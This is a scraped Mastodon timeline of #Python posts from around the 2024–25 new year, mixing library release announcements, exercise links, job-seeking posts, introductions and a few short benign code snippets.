Works great with my headless Obsidian sync: https://rolle.design/setting-up-a-headless-obsidian-instance-for-syncing
@ptmcg@fosstodon.org · Reply to Axel Rauschmayer's post
@rauschma Ah! I did something similar in Python - this is valid Python code:
def ℎ𝕖𝐥l𝙤():
try:
ℎ𝙚𝕝𝗹𝘰_ = "Hello"
w𝔬𝓇ˡ𝚍﹎ = "World"
𝖕𝘳𝒊𝖓𝑡(f"{𝗵𝒆𝘭𝓵𝚘﹍}, {𝑤º𝘳l𝑑︴}!")
except T𝗒ₚ𝕖E𝗿𝗋𝗈𝓻 as ᵉ𝒙ⅽ:
𝐩ᵣ𝚒𝖓𝓉("failed: {}".𝕗𝕠r𝑚𝖺𝘵(ⅇ𝔵𝚌))
if _︳n𝗮𝖒𝓮﹍︳ == "__main__":
h𝙚ⅼ𝐥𝕠()
@qiita@rss-mstdn.studiofreesia.com
Agentariumの `Agent` クラスをコード読みしてみた(2025年1月時点)
https://qiita.com/Tadataka_Takahashi/items/0a9a8605da33225b69c5?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
@ptmcg@fosstodon.org
With the latest 3.2.1 release of pyparsing, I also cleaned up the README for the examples directory. Much improved over the hand-coded HTML from 20+ years ago!
https://github.com/pyparsing/pyparsing/blob/master/examples/README.md
@Jose_A_Alonso@mathstodon.xyz
#Exercitium: Caminos en un triángulo. https://jaalonso.github.io/exercitium/posts/2025/01/04-caminos_en_un_triangulo/ #Haskell #Python #Matemáticas
@Jose_A_Alonso@mathstodon.xyz
Readings shared January 3, 2025. https://jaalonso.github.io/vestigium/posts/2025/01/03-readings_shared_01-03-25 #ITP #Lean4 #IsabelleHOL #Coq #Rocq #Math #FunctionalProgramming #OCaml #Haskell #Python #AI #MachineLearning
@alturiak@digitalcourage.social
Hi! 👋
Ich bin nicht wirklich #neuhier, aber gerade wieder von einer Sharkey-Instanz zurückgezogen und hatte bisher ohnehin kein neuhier-Posting.
Im echten Leben ursprünglich aus #Karlsruhe und inzwischen mit der Lieblingsmenschin wohnhaft in #Norderstedt fühle ich mich eigentlich als #Hamburg|er. Das Futter für meine Mischlingshündin 🐶 (folgt dem #Hundenasenmontag!) verdiene ich mit #IT-Security, #Python und der #ISO27001. Privat verbringe ich die Nächte gerne auf den diversen norddeutschen #Grufti-Tanzflächen oder auf den einschlägigen Festivals 🦇. Musikalisch darf es dabei gerne schwarz, elektronisch und schnell sein. Auch sonst mag ich viel Schwarzes (fritz-kola, Klamotten, Humor, ...), aber keinen Kaffee.
Die eigentlich nicht vorhandene Restzeit verbringe ich gerne mit #Serien, #Bücher|n 📚 (bevorzugt #Sci-Fi und #Cyberpunk), #Brettspiele|n, #PC-Spiele|n oder #PenAndPaper. Ansonsten kann ich mich auch für #Elektromobilität, #ErneuerbareEnergien und überhaupt ganz viel technischen Spielkram begeistern.
@qiita@rss-mstdn.studiofreesia.com
@Jose_A_Alonso@mathstodon.xyz
#Exercitium: Mayor órbita de la sucesión de Collatz. https://jaalonso.github.io/exercitium/posts/2025/01/03-mayor_orbita_de_la_sucesion_de_collatz/ #Haskell #Python #DíaInternacionalDeLasMatemáticas
@willmcgugan@mastodon.social
Arbitrary text selection is working in Textual.
This was an *ordeal* to get working. A few more gray hairs in my beard from this PR.
@LisaHornung@fosstodon.org
On a mapping run - Bauhaus inspired grid map of europe. Each country is coloured by the first letter of their ISO name. 🟠 🔵 🟡
Maybe a little puzzle to figure out the grid I used 😅
Initial map made in #python using #matplotlib then refined in Figma. Code: https://github.com/Lisa-Ho/small-data-projects/tree/main?tab=readme-ov-file#012025-grid-map-of-europe
@LisaHornung@fosstodon.org
On a mapping run - Bauhaus inspired grid map of europe. Each country is coloured by the first letter of their ISO name. 🟠 🔵 🟡
Maybe a little puzzle to figure out the grid I used 😅
Initial map made in #python using #matplotlib then refined in Figma. Code: https://github.com/Lisa-Ho/small-data-projects/tree/main?tab=readme-ov-file#012025-grid-map-of-europe
@willmcgugan@mastodon.social
Arbitrary text selection is working in Textual.
This was an *ordeal* to get working. A few more gray hairs in my beard from this PR.
@Jose_A_Alonso@mathstodon.xyz
Readings shared January 2, 2025. https://jaalonso.github.io/vestigium/posts/2025/01/02-readings_shared_01-02-25 #Haskell #Python #Math
@maco@wandering.shop
EDIT: started a new job last week!
Hey friends,
I'm restarting my job search; I had an offer, but it fell through.
Remote US preferred, but hybrid Washington, DC works too. I have 17-ish YOE as a software engineer, and have worked on both frontend and backend, but I lean toward the backend.
#Elixir #Phoenix, #Python #Django, and #React are what I know best.
Hoping to #GetFediHired
Edit: adding my LinkedIn
https://LinkedIn.com/in/mackenziemorgan
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@Jose_A_Alonso@mathstodon.xyz
#Exercitium: Ternas pitagóricas con suma dada. https://jaalonso.github.io/exercitium/posts/2025/01/02-ternas_pitagoricas_con_suma_dada/ #Haskell #Python #Matemáticas
@qiita@rss-mstdn.studiofreesia.com
@Jose_A_Alonso@mathstodon.xyz
Readings shared January 1, 2025. https://jaalonso.github.io/vestigium/posts/2025/01/01-readings_shared_01-01-25 #ITP #LeanProver #Lean4 #Mizar #Math #Haskell #Python
@mkennedy@fosstodon.org
Need some advice:
I'm looking for an open source text-to-speech library I can run locally or in a server. I needs to be pretty pleasant to listen to even if generation takes a bit longer. Ideally #python as the language but I'm open to looking around.
Recommendations? Found StyleTTS2 so far.
@mkennedy@fosstodon.org
Need some advice:
I'm looking for an open source text-to-speech library I can run locally or in a server. I needs to be pretty pleasant to listen to even if generation takes a bit longer. Ideally #python as the language but I'm open to looking around.
Recommendations? Found StyleTTS2 so far.
@Jose_A_Alonso@mathstodon.xyz
#Exercitium: Suma de múltiplos de 3 o de 5. https://jaalonso.github.io/exercitium/posts/2022/02/09-suma_de_multiplos_de_3_o_de_5/ #Haskell #Python #matematicas
@offby1@wandering.shop
@qiita@rss-mstdn.studiofreesia.com
@ptmcg@fosstodon.org
I just released pyparsing 3.2.1 with a very cool addition to the railroad diagrams that pyparsing generates for its parsers - non-terminal diagram elements now link to their definitions elsewhere in the diagram! This is pretty handy when the diagram is for a complex parser, as in this demo of a parser/evaluator for time references like "3 weeks from today" or "0800 two days from now" or "in exactly twenty-four hours". #pyparsing #python #parser #railroaddiagram
@ptmcg@fosstodon.org
I just released pyparsing 3.2.1 with a very cool addition to the railroad diagrams that pyparsing generates for its parsers - non-terminal diagram elements now link to their definitions elsewhere in the diagram! This is pretty handy when the diagram is for a complex parser, as in this demo of a parser/evaluator for time references like "3 weeks from today" or "0800 two days from now" or "in exactly twenty-four hours". #pyparsing #python #parser #railroaddiagram
@qiita@rss-mstdn.studiofreesia.com
@nedbat@hachyderm.io
Happy #Python New Year!
@niccokunzmann@toot.wales
Thanks to @nlnet and their funding, the #Python libraries #icalendar and recurring-ical-events support calculating #alarm times in #ics files. ❤️ 🐍
Now, you can create Python scripts that react to you setting an alarm ⏰ in your favourite calendar app! 📆
https://github.com/niccokunzmann/python-recurring-ical-events#alarms
https://nlnet.nl/project/OpenWebCalendar/
#rfc5545 #rfc9074 #RecurringIcalEvents #foss #funding #automation
@niccokunzmann@toot.wales
Thanks to @nlnet and their funding, the #Python libraries #icalendar and recurring-ical-events support calculating #alarm times in #ics files. ❤️ 🐍
Now, you can create Python scripts that react to you setting an alarm ⏰ in your favourite calendar app! 📆
https://github.com/niccokunzmann/python-recurring-ical-events#alarms
https://nlnet.nl/project/OpenWebCalendar/
#rfc5545 #rfc9074 #RecurringIcalEvents #foss #funding #automation
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@maugendre@hachyderm.io · Reply to Eric Maugendre's post
Redressing #Bias: "Correlation Constraints for Regression Models":
Treder et al (2021) https://doi.org/10.3389/fpsyt.2021.615754
#dataDev #linearRegression #modeling #probability #probabilities #statistics #stats #modelling #regression #correctionRatio #skLearn #scikitLearn #python #AIDev
@Jose_A_Alonso@mathstodon.xyz
@hanscees@ieji.de
Introduction time, since new server.
Ecologist, did some university environmental stuff, then #memetics policy analysis (6 years)
No PhD (#burnout) then turned to IT.
Ciso #infosec now for a Dutch #youthcare organization
Found out I'm #autistic at age 53,, #actuallyAutistic. 2 kids, married with photographer
Interested in many many things, but deeply into #trees # nature #insects #ecology #memes #neoliberalism (as a #memeplex) Also like to use #python to make cool things to fill @bomengidsnl
@qiita@rss-mstdn.studiofreesia.com
@Jose_A_Alonso@mathstodon.xyz
#Exercitium: Exponente en la factorización. https://jaalonso.github.io/exercitium/posts//2022/02/08-exponente_en_la_factorizacion/ #Haskell #Python #Matemáticas
@Sarah_Lea@techhub.social
When I recently published a post on Mastodon, it had already been reposted 6 times within 2 minutes. Out of curiosity, I visited the profiles and noticed that at least one of them was a bot profile: How can bots on a platform make our everyday lives easier? And what are the risks? How I can use the Mastodon API to create a bot myself?
In this article, I provide a step-by-step guide with code examples and screenshots on how to create a Mastodon bot with Python and use the API.
#datascience #python #programming #bot #agenticAI #aiagent #chatbot #api #mastodon #datascientist
@Jose_A_Alonso@mathstodon.xyz
Readings shared December 26, 2024. https://jaalonso.github.io/vestigium/posts/2024/12/26-readings_shared_12-26-24 #Haskell #Python #Math
@python_discussions@mastodon.social
Performance comparison of Clojure, Ruby, and Python
https://www.wedesoft.de/software/2024/12/26/clojure-ruby-python-performance/
Discussions: https://discu.eu/q/https://www.wedesoft.de/software/2024/12/26/clojure-ruby-python-performance/
@python_discussions@mastodon.social
Performance comparison of Clojure, Ruby, and Python
https://www.wedesoft.de/software/2024/12/26/clojure-ruby-python-performance/
Discussions: https://discu.eu/q/https://www.wedesoft.de/software/2024/12/26/clojure-ruby-python-performance/
@Jose_A_Alonso@mathstodon.xyz
#Exercitium: Reconocimiento de potencias de 4. https://jaalonso.github.io/exercitium/posts/2022/02/04-reconocimiento_de_potencias_de_4/ #Haskell #Python
@Jose_A_Alonso@mathstodon.xyz
Readings shared December 25, 2024. https://jaalonso.github.io/vestigium/posts/2024/12/25-readings_shared_12-25-24 #Haskell #Python #Math #ITP #LeanProver #Lean4 #Lisp #Programming
@Jose_A_Alonso@mathstodon.xyz
Readings shared December 24, 2024. https://jaalonso.github.io/vestigium/posts/2024/12/24-readings_shared_12-24-24 #ITP #Agda #Haskell #FunctionalProgramming #Haskell #Python #AI #LLMs #Math
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
@Jose_A_Alonso@mathstodon.xyz
#Exercitium: El teorema de Navidad de Fermat. https://www.glc.us.es/~jalonso/exercitium/14-dic-23/ #Haskell #Python #Math
@Jose_A_Alonso@mathstodon.xyz
#Exercitium: Producto de los elementos de la diagonal principal. https://jaalonso.github.io/exercitium/posts/2022/02/03-producto_de_los_elementos_de_la_diagonal_principal/ #Haskell #Python #DíaInternacionalDeLasMatemáticas
@Jose_A_Alonso@mathstodon.xyz
@qiita@rss-mstdn.studiofreesia.com
Flaskで爆速プロジェクトスタート!Next.jsやNestJS風のテンプレート生成ライブラリを自作してみた
https://qiita.com/masahibi/items/ab143a4ac5999e0aacf8?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
@sandmouth@types.pl
[New Blog Post] Symbolic Execution by Overloading `__bool__` https://www.philipzucker.com/overload_bool/ #python #smt
@qiita@rss-mstdn.studiofreesia.com
@danzin@mastodon.social · Reply to Norbert Preining's post
@norbu I feel your pain, every new version means a lot of updating stuff and I always forget something that bites me later.
However, that usually happens between "major" versions (3.xx) and not minor ones (e.g. 3.13.xx). CPython doesn't use semver, so what looks like minor versions are actually major versions.
If you are having trouble between minor versions that's worth filling an issue, and I can do that for you if you want.
Edit: I'm wrong on names https://docs.python.org/3/faq/general.html#how-does-the-python-version-numbering-scheme-work
@norbu@mastodon.social
@Jose_A_Alonso@mathstodon.xyz
The state of Julia for scientific machine learning. ~ Edward Berman, Jacob Ginesin. https://arxiv.org/abs/2410.10908 #Programming #JuliaLang #Python #MachineLearning
@qiita@rss-mstdn.studiofreesia.com
@zkat@toot.cat
I am absolutely overjoyed to announce the release of #KDL 2.0.0!! https://kdl.dev
It's a significant overhaul of the language to make it SO MUCH NICER in so many ways.
This is the culmination of over 3 years of work (4 if you count from before 1.0.0), by SCORES of contributors.
https://github.com/kdl-org/kdl/releases/tag/2.0.0
I want to give huge thanks to everyone who supported all of us through this, who jumped in and had some really amazing discussions weighing all sorts of interesting trade-offs.
The end result is absolutely not something any one person could've reasonably come up with.
I hope y'all enjoy it <3
As part of this release, several implementations have already launched with full support for v2.0.0, so you can try it now!
👉 #Rust #RustLang https://github.com/kdl-org/kdl-rs
👉 #C / #CPP / #Python https://github.com/tjol/ckdl
👉 #Elixir https://github.com/IceDragon200/kuddle
👉 #JavaScript / #TypeScript https://github.com/bgotink/kdl
👉 #Python https://github.com/tabatkins/kdlpy
KDL is already used in all sorts of projects, and by various folks as a DSL for their own small hobby things: https://github.com/kdl-org/kdl?tab=readme-ov-file#used-by
There are around 8k .kdl files out on GitHub, which is a lot considering it's usually a config language!
I fully expect this to be the last version of KDL ever released. We really really tried, but I don't think there's anything we can reasonably improve on.
From here on out, the language is in the (stable!) hands of the ecosystem.
Also, we're hoping to have GitHub syntax highlighting support soon!
(Boosts welcome!!)
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
Pydantic AI × Llama 3.3で最新情報もバッチリ!超強力リサーチAI-Agentを作ろう!
https://qiita.com/ryosuke_ohori/items/9a4ec6bba48579362bfa?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
@Jose_A_Alonso@mathstodon.xyz
@plone@plone.social
The Plone Foundation welcomes Rafahela Bazzanella & João Henrique Gouveia @jhgouveia to the Board of Directors and wishes to thank Paul Roeland @polyester & Kim Paulissen for their many years of service! https://buff.ly/4iJcmJt #plone #plonefoundation #python #opensource
@qiita@rss-mstdn.studiofreesia.com
@Jose_A_Alonso@mathstodon.xyz
#Exercitium: Reiteración de suma de consecutivos. https://jaalonso.github.io/exercitium/posts/2022/02/02-reiteracion_de_suma_de_consecutivos/ #Haskell #Python #Matemáticas
@kerrick@ruby.social
I’ve never understood or written #ruby bindings to other languages. But now, I’ve found motivation. The #taffy UI library written in #rust looks amazing, and #stretchable is a #python binding for it. Can anybody recommend books, videos, or other resources to learn the skills I’d need to write Ruby bindings for it?
@treyhunner@mastodon.social
Anyone know whether there's ever been a PEP for storing the end of life date for each Python version within Python?
I'm imagining a sys.supported_until datetime object.
I'd love to ask each of my current Python installations whether they're supported rather than looking that information up in online docs.
@treyhunner@mastodon.social
I think I just found my least favorite way to accurately check whether a string (value) represents a number in #Python. 😬
value.removeprefix("-").replace(".", "", 1).isnumeric()
@sean@opalstack.social
I thought uvx was cool but this is even better - lazy self-installing scripts with uv!😎
https://treyhunner.com/2024/12/lazy-self-installing-python-scripts-with-uv/
(via https://bsky.app/profile/savannah.dev/post/3ldo6uthml227)
@danzin@mastodon.social
This time I've attempted to create an illusion. Probably would work better if based on physics and perception tricks, feel free to improve on it!
The code is available here: https://gist.github.com/devdanzin/81c52f379d481c4754bb7d89ccb83582
Made using the portable #Thonny distribution made by @villares: https://github.com/villares/thonny-portable-with-py5?tab=readme-ov-file#portable-thonny-ide-with-py5-and-some-other-libraries-pre-installed
@qiita@rss-mstdn.studiofreesia.com
@welrbraga@mastodon.social
@LivInTheLookingGlass@tech.lgbt
Oh dang, my #introduction post is waaay out of date now. Let's do it again!
I have a #MastersDegree in #ComputerScience and #ComputerEngineering. I went to #NMU for undergrad and #MSU for my graduate degree. I currently work at #UChicago for the #TMWCenter, which focuses on helping young children acquire language (and therefore other learning skills) faster.
In my spare time, I develop #OpenSourceSoftware such as
I spend a fair bit of my time these days on #MathResearch, specifically into the #ThueMorse Sequence and its extensions.
I'm also a hobbyist editor on OpenStreetMap.
#Demisexual, #transfem, and happily engaged to my #enby sweetheart.
We have two cats: #OpheTheLoaf and #MayalaranTheCat (yes, from #StormlightArchive)
@danzin@mastodon.social
Another #CreativeCoding experiment, this time using the portable #Thonny distribution made by @villares: https://github.com/villares/thonny-portable-with-py5?tab=readme-ov-file#portable-thonny-ide-with-py5-and-some-other-libraries-pre-installed
It's an animation consisting of falling colored stars, with random colors, sizes and number of points.
The code is here: https://gist.github.com/devdanzin/a5bd3630855def3b5c71c69d5bbc507c
@ThePSF@fosstodon.org
Please congratulate our newest PSF Fellow Members for Q3, 2024! Their continued contributions to the Python ecosystem are so very important to our community. #python
https://pyfound.blogspot.com/2024/12/announcing-python-software-foundation.html
@tommi@pan.rent
Mastodon.social alt text analysis report! 🧐
Me and my friend Cristal just published a report on image description usage on mastodon.social, as a group project for the Introduction to Data Science course of the Artificial Intelligence and Sustainable Societies Erasmus Mundus Joint Master program.
Thoughts and feedback are welcome 💕
A huge thanks to @stefan for publishing the dataset on which we based our analysis!
NOTE: We are absolutely aware that the report has very little actual relevance, as the dataset contains a super limited amount of posts from one instance only. It was mainly an experimentation to test our data analysis skills.
#a11ty #accessibility #alttext #mastodon #mastodonsocial #report #dataScience #JupyterLab #JupyterNotebook #Python #pandas #MatPlotLib #NumPy
@danzin@mastodon.social
Here's a demo working with stars in #Processing #py5.
While the trigonometry might not be obvious at first (it isn't to me), I hope the code is clear enough to allow anyone to tinker with it.
Big thanks to @villares@ciberlandia.pt @villares@pynews.com.br who taught me everything I know about #CreativeCoding. You really should consider supporting him, using his freely available teaching materials and following him.
https://python-fiddle.com/tools/pyp5js was used to write this.
Code: https://gist.github.com/devdanzin/07164fe993b3a2fb2be06839e5f5209b
@zeitgenosse@graz.social
$ pip3 search something
...
RuntimeError: PyPI no longer supports 'pip search' [...]. Please use https://pypi.org/search (via a browser) instead. [...]
Sure, no problem. Let's see …
»JavaScript is disabled in your browser. Please enable JavaScript to proceed.«
Urgh, but okay, #pip is a #Python package manager, they're good guys. Let me just open #NoScript and temporarily allow pypi.org ... oh no, it wants to run #JavaScript from …
ethicalads.io
fastly-insights.com
googletagmanager.com
gstatic.com
statuspage.io
That's what you get after 30 years of using the term #OpenSource instead of #FreeSoftware.
@cazabon@mindly.social
So, after being laid off a few months ago, I find myself still looking for work.
If you are looking for a senior software engineer who has specialized in Python work for twenty years, and who has worked in virtually every area of software from embedded firmware to GUI applications, with almost 20 years as a full-time remote employee, contractor, and consultant, I'm available.
Full resume available, references upon request.
If you know someone looking for such, I'd appreciate you referring them to this.
Thanks!
#GetFediHired #FediHired #SeniorSoftwareEngineer #SoftwareEngineer #developer #Python
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Oh, and taking inspiration from #pytest, I added colour to #unittest output in this one 🎨
@hugovk@mastodon.social · Reply to Hugo van Kemenade's post
Just released: Python 3.14.0a3 🚀
https://discuss.python.org/t/python-3-14-0-alpha-3/74542
https://docs.python.org/3.14/whatsnew/
This release brought to you by tea and homemade mince pies.
@nedbat@hachyderm.io
Announcing the Partition Principle of #Python Pedagogy:
No matter what you are showing people or how unusual it is, if it uses str.partition() most of the comments will be, "I didn't know about str.partition()!"
https://docs.python.org/3/library/stdtypes.html#str.partition
BTW: also str.rpartition()...
@pmidden@fosstodon.org
@qiita@rss-mstdn.studiofreesia.com
@Jose_A_Alonso@mathstodon.xyz
'Lean-style' tactics in Knuckledragger. ~ Philip Zucker (@sandmouth.bsky.social). https://www.philipzucker.com/knuckle_lemma/ #Logic #SMT #Z3 #Python
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
Microsoft の「MarkItDown」で Officeファイルを Markdownファイルに変換【Python】
https://qiita.com/youtoy/items/e0495701f03c1875e032?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
@feoh@oldbytes.space
@andy47@aus.social · Reply to Andy Todd's post
I mean, #Python 3 has only been around for, what, 16 years?
@andy47@aus.social
TIL the ‘stable’ version of Trac, a software project management tool, requires #Python 2.7 - https://trac.edgewall.org/wiki/TracInstall - which was last supported over 4 years ago. Crikey
@SocketSecurity@fosstodon.org
PyPI confirms no security flaws were exploited in the Ultralytics supply chain attack and the team is working on two new efforts to nudge developers towards more secure publishing configurations.
https://socket.dev/blog/pypi-on-ultralytics-breach-no-security-flaws-in-pypi-exploited #Python @pypi @ThePSF
@glyph@mastodon.social · Reply to Glyph's post
If you are interested in supporting my #Python #OpenSource development, or my writing projects on my blog, you can sign up at https://www.patreon.com/creatorglyph and you too will be able to read these weekly updates as well as have a surprisingly significant (BUT FOR LEGAL REASONS, VERY MUCH _NOT_ GUARANTEED) influence over which things I focus on at various times!
@zeab@fosstodon.org
I discovered #pyinfra, and now I want to use it. It's like skipping using #yaml in #ansible. Similar to #fabric, but less low level. 😅
With pyinfra, you still have things like ansible roles abstractions. But you write your roles all in #python. 😎 All I know is here I go again with this rabbit hole. 🫠
@qiita@rss-mstdn.studiofreesia.com
@qiita@rss-mstdn.studiofreesia.com
Llama 3.2 3B Instruct を使って Slack を「賢く検索」するアプリを作ろうとしてみた話(タイトル詐欺)
https://qiita.com/KiNShiR/items/522a1f819149a8515a62?utm_campaign=popular_items&utm_medium=feed&utm_source=popular_items
@qiita@rss-mstdn.studiofreesia.com
@anubhav@hachyderm.io · Reply to Simon Willison's post
@kushal@toots.dgplug.org
@willmcgugan@mastodon.social
Textual 1.0 has been released. 🥳
Three years in the making. A #python TUI framework that is bigger than the terminal.
To celebrate, I want to give away some trade secrets. Because I am appalling at keeping secrets.
Tell me what you think of the diagrams...
https://textual.textualize.io/blog/2024/12/12/algorithms-for-high-performance-terminal-apps/
@kwonhan@fosstodon.org
looking for speakers for PyCon APAC 2025 May 1~2
Philippines, Quezon City ( Near Manila )
we want more python friend from the outside of apac
@nedbat@hachyderm.io
Is this #Python too compact? Perhaps, but there could be useful things to learn. Full explanation unpacked at https://nedbatchelder.com/blog/201802/a_python_gargoyle.html
@qiita@rss-mstdn.studiofreesia.com
@kwonhan@fosstodon.org
I'm the 100th person join the PyCon US 2025!
will you join us?
I didn't expected that number haha.
@baldand@mstdn.thndl.com
#python Dec11
import numpy as n,PIL.Image as I
p,A,h=2**-11,n.abs,.5
y,x,_=n.mgrid[h:-h:-p,-h:h:p,0:3]
def W(x,y,z):
s,d,w,e,l=1.5,x*0+9,2,.4,x*0
for i in range(1,9):
g=((x*x+y*y+z*z)**h)-w
l[g<d],d[g<d]=i,g[g<d]
w*=e
u=s*w
x,y,z=A(x)-u,A(y)-u,A(z)-u
return d,l
t,r=y<1,.71
z=y*.0-6
s=(x*x+y*y+1)**-h
u,v=x*1,y*1
while t.any():
d,l=W(r*u-r*z,v,r*u+r*z)
n=d>.01
t&=n&(z<9)
u[t],v[t],z[t]=(u+x*s*d)[t],(v+y*s*d)[t],(z+s*d)[t]
I.fromarray((39*l*x*[7,3,9]*~n).astype('B')).save("d.png")
@mctwist@social.accum.se
I just moved instance and thought it would be great with a short #introduction .
I live in Sweden. Work remotely as a full stack consultant. Previously a game programmer. Junior admin for #acc . Currently I like the following:
- #programming / #cpp / #python
- #homelab / #proxmox / #truenas / #hardware
- #games (All of them)
- #anime / #manga
- #movies / #music
- #food / #chips
Feel free to reach out. If your content is interesting, I will follow you.
@Jose_A_Alonso@mathstodon.xyz
@maugendre@hachyderm.io · Reply to Eric Maugendre's post
Feature Selection in Python; a script ready to use: https://johfischer.com/2021/08/06/correlation-based-feature-selection-in-python-from-scratch/
#interpretability #featureSelection #python #probability #probabilities #bigData #classification #linearRegression #regression #Schusterbauer #inference #AIDev
@Sarah_Lea@techhub.social
The traditional ETL-Process consist of Extract-Transform-Load. But in tools like Data Cloud from Salesforce there is now the Zero-ETL technology integrated: Instead of requiring these 3 traditional steps, data should now flow seamlessly between different systems.
So, what's new? The data from different systems can be used almost in real-time. There is no need to move data https://towardsdatascience.com/why-etl-zero-understanding-the-shift-in-data-integration-as-a-beginner-d0cefa244154
#DataEngineering #data #datascience #database #salesforce #DataIntegrationDatabasesEtl #etl #python
Comment for the friend link of the Medium article and I will send you the link in a message.
@HelPy@fosstodon.org
Thanks to everyone who came along, and especially our speakers:
Nazaal Ibrahim who told us about JAX for machine learning and numerical computation
Jussi Pakkanen @jpakkane for how he took inspiration from Knuth and wrote his own build system (Meson) and PDF library (CapyPDF)
Akseli Lukkarila for showing how easy it is to use Rust from Python and Python from Rust
And of course to #Nitor for graciously hosting us in their wonderful office!
Happy 🎅🎄❄️
@python_discussions@mastodon.social
Open source maintainers are drowning in junk bug reports written by AI - Python security developer-in-residence decries use of bots that 'cannot understand code'
https://www.theregister.com/2024/12/10/ai_slop_bug_reports/
Discussions: https://discu.eu/q/https://www.theregister.com/2024/12/10/ai_slop_bug_reports/
@hugovk@mastodon.social
Congratulations to the new Python Steering Council!
🗳️ Barry Warsaw @pumpichank
🗳️ Donghee Na @dongheena
🗳️ Emily Morehouse
🗳️ Gregory P. Smith @gpshead
🗳️ Pablo Galindo Salgado
https://discuss.python.org/t/steering-council-election-results-2025-term/73839
This is the third year we have members who each are serving their 1st, 2nd, 3rd, 4th and 5th sequential terms.
Also welcome @dongheena for the first time and thank you to Thomas for your five years' service!
@raphael@mastodon.sdf.org
@hugovk@mastodon.social
Shout out to all the organisers, volunteers and speakers at this weekend's excellent @pyladiescon!
The videos are already online, I recommend starting with @glasnt's brilliant keynote "Turning 'wat' into 'why'":
https://www.youtube.com/live/DRR3AdvU4ac?si=PiV_dN3Y5NnDjogD
Then check out the rest here:
https://youtube.com/playlist?list=PLOItnwPQ-eHxWh6Af6xRuKprSk_OBU0cL
@pyladiescon@fosstodon.org
🎉 PyLadiesCon 2024 Has Wrapped Up! 🐍💻
A huge THANK YOU to our amazing community for making this event a massive success! 🙌💖 This year, we not only broke all the stats from last year, but we also created unforgettable memories and connections.
✨ Relive the highlights and see the full recap here:
👉 https://conference.pyladies.com/news/pyladiescon-ends/
Thank you for being part of PyLadiesCon 2024. Let’s keep celebrating women in tech and building a more inclusive community! 💪🌟
@glyph@mastodon.social
Hey did you know that I do #python programming livestreams once a week on Tuesdays? In about 24 and a half hours from now I will be doing it again: https://www.twitch.tv/glyph_official/schedule
Feel free to drop by, but also please feel free to give me some suggestions for what to work on. Last week we had a comedy of errors due to a Patreon subscriber's suggestion that I do some cross-platform GUI work on Pomodouroboros
@phantasus@social.tchncs.de
I'm a senior backend engineer, did most stuff with #ruby. I like #linux know also #clang the usual scripting stuff, #python. I know a little bit #java did #openshift ( #kubernetes ) and #docker containers. My preferred database is #postgresql
Is someone searching for #vienna in #austria ? I mean finding a job should not be hard with that kind of profile, right?
@alvinashcraft@hachyderm.io
How to generate unit tests with GitHub Copilot: Tips and examples.
https://buff.ly/49pSCXd
#github #githubcopilot #ai #aiassistant #unittesting #python #typescript #claudeai #tdd
@backintime@fosstodon.org
🌟 Release 1.5.3 of Back In Time 🌟
🔹#FCron support
🔹User manual migrated to a new format and build system
🔹User manual content improved (user callbacks & example scripts)
🔹GUI: English strings and their #translation improved
🔹#Serbian language available in both Latin and Cyrillic scripts
🔹Added #Interlingua (#Occidental) language
🔹Extensive refactoring of the code base
🔹#Python version supported raised to 3.9
👉 RELEASE: https://github.com/bit-team/backintime/releases/tag/v1.5.3
👉 CHANGELOG: https://github.com/bit-team/backintime/blob/dev/CHANGES
@EpicBear@genomic.social
I’m really enjoying looking at everyone’s #AdventOfCode. The most interesting part for me is how each language can more easily/naturally solve different aspects of the daily problems. I’m curious to hear from others what they think the strengths/facilities of their chosen language lends to that day’s problem.
@hispaemacs@fosstodon.org
Emacs es nuestra Caja de Herramientas: " Manos a la obra ... a programar"
En esta ocasión vimos en acción a #GNU
Emacs como herramienta para programar - IDE (LSP)
..., hablamos de un montón de cosas: aquí una lista desordenada... :
- LateX
- LSP ~ https://www.emacswiki.org/emacs/LanguageServerProtocol
- Eglot
- https://microsoft.github.io/language-server-protocol/ - múltiples lenguajes de programación en Emacs
(HTML5, #javascript , #python ... y mucho más!)
cc @Notxor @andros https://fediverse.tv/w/vJCtHpK241o2hLHShvFhCA
@kur0den0010@chpk.kur0den.net
『SQLiteのインメモリモードとファイルモードの性能を比較してみた #Python - Qiita』 - https://qiita.com/ytkj/items/33dc4f1b2df542eff3c9
@hvdklauw@mastodon.social
Where are you on the #python type hint scale
Option | Voters |
---|---|
Any | 2 (7%) |
Dict | 3 (11%) |
Dict[str, Any] | 15 (56%) |
Dict[str, Union[int, float, str, Dict[..]]] | 7 (26%) |
@c3d2@c3d2.social
Bitte boosten!
Die Leute von @fsfwdresden haben bis zum 06. Januar 2025 noch für ihr #Schulstick Projekt einige Programmieraufgaben zu einer Lernsoftware zu verteilen.
Bis dahin läuft noch eine Förderung des sächsischen Kultusministeriums für dieses Projekt.
Wer Zeit und Lust hat, gegen eine übliche und angemessene Vergütung einige der zu erledigenden Aufgaben an diesem Projekt umzusetzen kann sich gerne bei der FSFW oder bei schulstick@c3d2.de melden.
@xahteiwi@mastodon.social
Are any of you #Pythonistas aware of an array of sorts that Python processes always keep in memory, with a size of 8 bytes times the applicable nofiles (number of concurrently open file handles) ulimit? I don't know where to start looking/searching. If that rings any bell at all, please holler. Thanks!
Boosts OK.
@hongminhee@fosstodon.org · Reply to 洪 民憙 (Hong Minhee)'s post
@miketheman@hachyderm.io
I wrote a report on a recent #Python #malware package uploaded to #PyPI over here: https://blog.pypi.org/posts/2024-11-25-aiocpa-attack-analysis/
@athoune@mastodon.xyz
Avis aux pythonistes en herbe, voici une initiation à #Pyxel, framework #Python pour créer des jeux à l'ancienne, comme sur la SNS ou la Gameboy Color.
Un éditeur de média est fourni.
Le moteur en #rust assure la fluidité, et l'API python est minimaliste.
Les jeux tourneront sur Linux/Mac/Windows et même dans un navigateur web, avec #wasm
@nedbat@hachyderm.io
